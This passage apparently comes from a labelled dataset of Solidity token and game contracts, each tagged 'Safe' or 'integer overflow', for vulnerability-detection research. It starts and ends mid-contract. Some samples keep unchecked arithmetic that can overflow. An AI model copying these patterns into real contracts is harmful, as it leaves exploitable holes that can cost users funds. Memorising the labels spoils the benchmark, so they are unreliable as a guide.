burn(uint256 value) public onlyOwner returns(bool) { require(checkIfCanUseTokens(ownerAddress, value) && wallets[ownerAddress].tokensAmount >= value); uint256 freezeAmount = wallets[ownerAddress].tokensAmount.sub(value); wallets[ownerAddress].tokensAmount = freezeAmount; totalSupply = totalSupply.sub(value); emit Burn(ownerAddress, value); return true; } function transferOwnership(address newOwner) public returns(bool) { require(msg.sender == masterKey && newOwner != address(0)); // Transfer token data from old owner to new. wallets[newOwner].tokensAmount = wallets[ownerAddress].tokensAmount; wallets[newOwner].canFreezeTokens = true; wallets[newOwner].freezedAmount = wallets[ownerAddress].freezedAmount; wallets[ownerAddress].freezedAmount = 0; wallets[ownerAddress].tokensAmount = 0; wallets[ownerAddress].canFreezeTokens = false; emit TransferOwnership(ownerAddress, newOwner); ownerAddress = newOwner; return true; } function() public payable { revert(); } }",Safe,8,8 1526.sol,"pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract CouponTokenConfig { string public constant name = ""Coupon Chain Token""; string public constant symbol = ""CCT""; uint8 public constant decimals = 18; uint256 internal constant DECIMALS_FACTOR = 10 ** uint(decimals); uint256 internal constant TOTAL_COUPON_SUPPLY = 1000000000 * DECIMALS_FACTOR; uint8 constant USER_NONE = 0; uint8 constant USER_FOUNDER = 1; uint8 constant USER_BUYER = 2; uint8 constant USER_BONUS = 3; } contract CouponToken is StandardToken, Ownable, CouponTokenConfig { using SafeMath for uint256; uint256 public startTimeOfSaleLot4; uint256 public endSaleTime; address public couponTokenSaleAddr; address public couponTokenBountyAddr; address public couponTokenCampaignAddr; mapping(address => uint8) vestingUsers; event Mint(address indexed to, uint256 tokens); modifier canMint() { require( couponTokenSaleAddr == msg.sender || couponTokenBountyAddr == msg.sender || couponTokenCampaignAddr == msg.sender); _; } modifier onlyCallFromCouponTokenSale() { require(msg.sender == couponTokenSaleAddr); _; } modifier onlyIfValidTransfer(address sender) { require(isTransferAllowed(sender) == true); _; } modifier onlyCallFromTokenSaleOrBountyOrCampaign() { require( msg.sender == couponTokenSaleAddr || msg.sender == couponTokenBountyAddr || msg.sender == couponTokenCampaignAddr); _; } constructor() public { balances[msg.sender] = 0; } function mint(address _to, uint256 _amount) canMint public { require(totalSupply_.add(_amount) <= TOTAL_COUPON_SUPPLY); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); } function transfer(address to, uint256 value) public onlyIfValidTransfer(msg.sender) returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public onlyIfValidTransfer(from) returns (bool){ return super.transferFrom(from, to, value); } function setContractAddresses( address _couponTokenSaleAddr, address _couponTokenBountyAddr, address _couponTokenCampaignAddr) external onlyOwner { couponTokenSaleAddr = _couponTokenSaleAddr; couponTokenBountyAddr = _couponTokenBountyAddr; couponTokenCampaignAddr = _couponTokenCampaignAddr; } function setSalesEndTime(uint256 _endSaleTime) external onlyCallFromCouponTokenSale { endSaleTime = _endSaleTime; } function setSaleLot4StartTime(uint256 _startTime) external onlyCallFromCouponTokenSale { startTimeOfSaleLot4 = _startTime; } function setFounderUser(address _user) public onlyCallFromCouponTokenSale { vestingUsers[_user] = USER_FOUNDER; } function setSalesUser(address _user) public onlyCallFromCouponTokenSale { vestingUsers[_user] = USER_BUYER; } function setBonusUser(address _user) public onlyCallFromTokenSaleOrBountyOrCampaign { vestingUsers[_user] = USER_BONUS; } function isTransferAllowed(address _user) internal view returns (bool) { bool retVal = true; if(vestingUsers[_user] == USER_FOUNDER) { if(endSaleTime == 0 || (now < (endSaleTime + 730 days))) retVal = false; } else if(vestingUsers[_user] == USER_BUYER || vestingUsers[_user] == USER_BONUS) { if(startTimeOfSaleLot4 == 0 || (now < (startTimeOfSaleLot4 + 90 days))) retVal = false; } return retVal; } }",./Dataset/integer overflow (OF)/,4,4 1615.sol,"pragma solidity ^0.4.8; interface ERC20Interface { function totalSupply() constant returns (uint256 totalSupply) ; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BRC is ERC20Interface { string public constant symbol = ""BRC""; string public constant name = ""Baer Chain""; uint8 public constant decimals = 8; uint256 _totalSupply = 58000000000000000; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function BRC() { owner = msg.sender; balances[owner] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }",./Dataset/integer overflow (OF)/,4,4 672.sol,"pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract FixedSupplyToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = ""DOTCH""; name = ""Diamond Of The Crypto Hill""; decimals = 0; _totalSupply = 10000000000; balances[this] = _totalSupply; emit Transfer(address(0),this, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } } interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } contract Game is FixedSupplyToken { HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); struct Village { address owner; uint defending; uint lastcollect; uint beginnerprotection; } struct Variables { uint nextVillageId; uint bpamount; uint totalsupplyGOTCH; uint GOTCHatcontract; uint previousethamount; uint solsforhire; uint solslastupdate; uint soldierreplenishrate; uint soldierprice; uint lastblockpayout; uint blocksbeforenewpay; uint ATPO; uint nextpayamount; uint nextowneramount; } struct Ownables { address hillowner; uint soldiersdefendinghill; mapping(address => uint256) soldiers; mapping(uint256 => Village) villages; mapping(address => uint256) GOTCH; mapping(address => uint256) redeemedvils; bool ERCtradeactive; uint roundlength; } struct Marketoffer{ address placedby; uint256 amountdotch; uint256 wantsthisamtweiperdotch; } event villtakeover(address from, address to, uint villageint); event hilltakeover(address from, address to); event battle(address attacker, uint pointsattacker, address defender, uint pointsdefender); event dotchsale( address seller,uint price, address taker , uint256 amount); uint256 public ethforp3dbuy; uint256 public round; uint256 public nextmarketoffer; uint256 public nextroundlength = 10000000000000000000000; uint256 public nextroundtotalsupplyGOTCH = 10000; uint256 public nextroundGOTCHatcontract = 10000; uint256 public nextroundsolsforhire = 100; uint256 public nextroundsoldierreplenishrate = 50; uint256 public nextroundblocksbeforenewpay = 250; bool public divsforall; bool public nextroundERCtradeactive = true; mapping(uint256 => Variables) public roundvars; mapping(uint256 => Ownables) public roundownables; mapping(address => uint256) public Redeemable; mapping(uint256 => Marketoffer) public marketplace; function harvestabledivs() view public returns(uint256) { return ( P3Dcontract_.dividendsOf(address(this))) ; } function villageinfo(uint256 lookup) view public returns(address owner, uint256 soldiersdefending,uint256 lastcollect,uint256 beginnersprotection) { return ( roundownables[round].villages[lookup].owner,roundownables[round].villages[lookup].defending,roundownables[round].villages[lookup].lastcollect,roundownables[round].villages[lookup].beginnerprotection) ; } function gotchinfo(address lookup) view public returns(uint256 Gold) { return ( roundownables[round].GOTCH[lookup]) ; } function soldiersinfo(address lookup) view public returns(uint256 soldiers) { return ( roundownables[round].soldiers[lookup]) ; } function redeemablevilsinfo(address lookup) view public returns(uint256 redeemedvils) { return ( roundownables[round].redeemedvils[lookup]) ; } function playerinfo(address lookup) view public returns(uint256 redeemedvils,uint256 redeemablevils , uint256 soldiers, uint256 GOTCH) { return ( roundownables[round].redeemedvils[lookup], Redeemable[lookup], roundownables[round].soldiers[lookup], roundownables[round].GOTCH[lookup] ) ; } uint256 private div; uint256 private ethtosend; function () external payable{} constructor () public { round++; roundvars[round].totalsupplyGOTCH = 10000; roundvars[round].GOTCHatcontract = 10000; roundvars[round].solsforhire = 100; roundvars[round].soldierreplenishrate = 50; roundvars[round].solslastupdate = block.number; updatesolbuyrate(); roundvars[round].lastblockpayout = block.number; roundownables[round].hillowner = msg.sender; roundvars[round].nextpayamount = 0; roundvars[round].nextowneramount = 0; roundvars[round].previousethamount = 0; roundvars[round].blocksbeforenewpay = 250; roundvars[round].bpamount = 30000; roundownables[round].ERCtradeactive = true; roundownables[round].roundlength = 10000000000000000000000; divsforall = false; } function hillpayout() internal { require(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)); roundvars[round].lastblockpayout = roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay); ethforp3dbuy = ethforp3dbuy.add((address(this).balance.sub(ethforp3dbuy)).div(100)); owner.transfer((address(this).balance.sub(ethforp3dbuy)).div(100)); roundvars[round].ATPO = roundvars[round].ATPO.add((address(this).balance.sub(ethforp3dbuy)).div(2)); roundownables[round].hillowner.transfer((address(this).balance.sub(ethforp3dbuy)).div(2)); } function attackhill(uint256 amtsoldiers) public payable returns(bool, uint){ require(msg.value >= 1 finney); if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) { hillpayout(); } require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); require(amtsoldiers >= 1); if(msg.sender == roundownables[round].hillowner) { roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.add(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); return (false, 0); } if(msg.sender != roundownables[round].hillowner) { if(roundownables[round].soldiersdefendinghill < amtsoldiers) { emit hilltakeover(roundownables[round].hillowner,msg.sender); emit battle(msg.sender,roundownables[round].soldiersdefendinghill,roundownables[round].hillowner,roundownables[round].soldiersdefendinghill); roundownables[round].hillowner = msg.sender; roundownables[round].soldiersdefendinghill = amtsoldiers.sub(roundownables[round].soldiersdefendinghill); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); return (true, roundownables[round].soldiersdefendinghill); } if(roundownables[round].soldiersdefendinghill >= amtsoldiers) { roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.sub(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); emit battle(msg.sender,amtsoldiers,roundownables[round].hillowner,amtsoldiers); return (false, amtsoldiers); } } } function supporthill(uint256 amtsoldiers) public payable { require(msg.value >= 1 finney); require(roundownables[round].hillowner == msg.sender); require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); require(amtsoldiers >= 1); roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.add(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); } function changetradestatus(bool active) public onlyOwner { roundownables[round].ERCtradeactive = active; } function setdivsforall(bool active) public onlyOwner { divsforall = active; } function changebeginnerprotection(uint256 blockcount) public onlyOwner { roundvars[round].bpamount = blockcount; } function changesoldierreplenishrate(uint256 rate) public onlyOwner { roundvars[round].soldierreplenishrate = rate; } function updatesolsforhire() internal { roundvars[round].solsforhire = roundvars[round].solsforhire.add((block.number.sub(roundvars[round].solslastupdate)).mul(roundvars[round].nextVillageId).mul(roundvars[round].soldierreplenishrate)); roundvars[round].solslastupdate = block.number; } function updatesolbuyrate() internal { if(roundvars[round].solsforhire > roundvars[round].totalsupplyGOTCH) { roundvars[round].solsforhire = roundvars[round].totalsupplyGOTCH; } roundvars[round].soldierprice = roundvars[round].totalsupplyGOTCH.div(roundvars[round].solsforhire); if(roundvars[round].soldierprice < 1) { roundvars[round].soldierprice = 1; } } function buysoldiers(uint256 amount) public payable { require(msg.value >= 1 finney); updatesolsforhire(); updatesolbuyrate() ; require(amount <= roundvars[round].solsforhire); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].add(amount); roundvars[round].solsforhire = roundvars[round].solsforhire.sub(amount); roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].sub( amount.mul(roundvars[round].soldierprice)); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(amount.mul(roundvars[round].soldierprice)); } function createvillage() public payable { require(msg.value >= 10 finney); if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) { hillpayout(); } roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; roundvars[round].nextVillageId ++; roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; Redeemable[msg.sender]++; roundownables[round].redeemedvils[msg.sender]++; } function batchcreatevillage(uint256 amt) public payable { require(msg.value >= 10 finney * amt); require(amt >= 1); require(amt <= 40); if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) { hillpayout(); } for(uint i=0; i< amt; i++) { roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; roundvars[round].nextVillageId ++; roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; } Redeemable[msg.sender] = Redeemable[msg.sender].add(amt); roundownables[round].redeemedvils[msg.sender] = roundownables[round].redeemedvils[msg.sender].add(amt); } function cheapredeemvillage() public payable { require(msg.value >= 1 finney); require(roundownables[round].redeemedvils[msg.sender] < Redeemable[msg.sender]); roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; roundvars[round].nextVillageId ++; roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; roundownables[round].redeemedvils[msg.sender]++; } function preregvills(address reg) public onlyOwner { roundownables[round].villages[roundvars[round].nextVillageId].owner = reg; roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; roundvars[round].nextVillageId ++; roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; } function attack(uint256 village, uint256 amtsoldiers) public payable returns(bool, uint){ require(msg.value >= 1 finney); if(block.number > roundvars[round].lastblockpayout + roundvars[round].blocksbeforenewpay) { hillpayout(); } uint bpcheck = roundownables[round].villages[village].beginnerprotection.add(roundvars[round].bpamount); require(block.number > bpcheck); require(roundownables[round].villages[village].owner != 0); require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); require(amtsoldiers >= 1); if(msg.sender == roundownables[round].villages[village].owner) { roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.add(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); return (false, 0); } if(msg.sender != roundownables[round].villages[village].owner) { if(roundownables[round].villages[village].defending < amtsoldiers) { emit battle(msg.sender,roundownables[round].villages[village].defending,roundownables[round].villages[village].owner,roundownables[round].villages[village].defending); emit villtakeover(roundownables[round].villages[village].owner,msg.sender,village); roundownables[round].villages[village].owner = msg.sender; roundownables[round].villages[village].defending = amtsoldiers.sub(roundownables[round].villages[village].defending); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); collecttaxes(village); return (true, roundownables[round].villages[village].defending); } if(roundownables[round].villages[village].defending >= amtsoldiers) { emit battle(msg.sender,amtsoldiers,roundownables[round].villages[village].owner,amtsoldiers); roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.sub(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); return (false, amtsoldiers); } } } function support(uint256 village, uint256 amtsoldiers) public payable { require(msg.value >= 1 finney); require(roundownables[round].villages[village].owner == msg.sender); require(roundownables[round].villages[village].owner != 0); require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); require(amtsoldiers >= 1); roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.add(amtsoldiers); roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); } function renewbeginnerprotection(uint256 village) public payable { require(msg.value >= (roundvars[round].nextVillageId.sub(village)).mul(1 finney) ); roundownables[round].villages[village].beginnerprotection = block.number; } function batchcollecttaxes(uint256 a, uint256 b , uint256 c , uint256 d , uint256 e , uint256 f , uint256 g, uint256 h, uint256 i, uint256 j) public payable { require(msg.value >= 10 finney); require(roundownables[round].villages[a].owner == msg.sender); require(roundownables[round].villages[b].owner == msg.sender); require(roundownables[round].villages[c].owner == msg.sender); require(roundownables[round].villages[d].owner == msg.sender); require(roundownables[round].villages[e].owner == msg.sender); require(roundownables[round].villages[f].owner == msg.sender); require(roundownables[round].villages[g].owner == msg.sender); require(roundownables[round].villages[h].owner == msg.sender); require(roundownables[round].villages[i].owner == msg.sender); require(roundownables[round].villages[j].owner == msg.sender); require(block.number > roundownables[round].villages[a].lastcollect); require(block.number > roundownables[round].villages[b].lastcollect); require(block.number > roundownables[round].villages[c].lastcollect); require(block.number > roundownables[round].villages[d].lastcollect); require(block.number > roundownables[round].villages[e].lastcollect); require(block.number > roundownables[round].villages[f].lastcollect); require(block.number > roundownables[round].villages[g].lastcollect); require(block.number > roundownables[round].villages[h].lastcollect); require(block.number > roundownables[round].villages[i].lastcollect); require(block.number > roundownables[round].villages[j].lastcollect); uint256 test = (block.number.sub(roundownables[round].villages[a].lastcollect)).mul((roundvars[round].nextVillageId.sub(a))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[a].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[b].lastcollect)).mul((roundvars[round].nextVillageId.sub(b))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[b].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[c].lastcollect)).mul((roundvars[round].nextVillageId.sub(c))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[c].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[j].lastcollect)).mul((roundvars[round].nextVillageId.sub(j))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[j].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[d].lastcollect)).mul((roundvars[round].nextVillageId.sub(d))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[d].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[e].lastcollect)).mul((roundvars[round].nextVillageId.sub(e))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[e].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[f].lastcollect)).mul((roundvars[round].nextVillageId.sub(f))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[f].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[g].lastcollect)).mul((roundvars[round].nextVillageId.sub(g))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[g].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[h].lastcollect)).mul((roundvars[round].nextVillageId.sub(h))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[h].lastcollect = block.number; test = (block.number.sub(roundownables[round].villages[i].lastcollect)).mul((roundvars[round].nextVillageId.sub(i))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[i].lastcollect = block.number; } function collecttaxes(uint256 village) public payable returns (uint){ require(msg.value >= 1 finney); if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) { hillpayout(); } require(roundownables[round].villages[village].owner == msg.sender); require(block.number > roundownables[round].villages[village].lastcollect); uint256 test = (block.number.sub(roundownables[round].villages[village].lastcollect)).mul((roundvars[round].nextVillageId.sub(village))); if(roundvars[round].GOTCHatcontract < test ) { roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); } roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); roundvars[round].GOTCHatcontract = 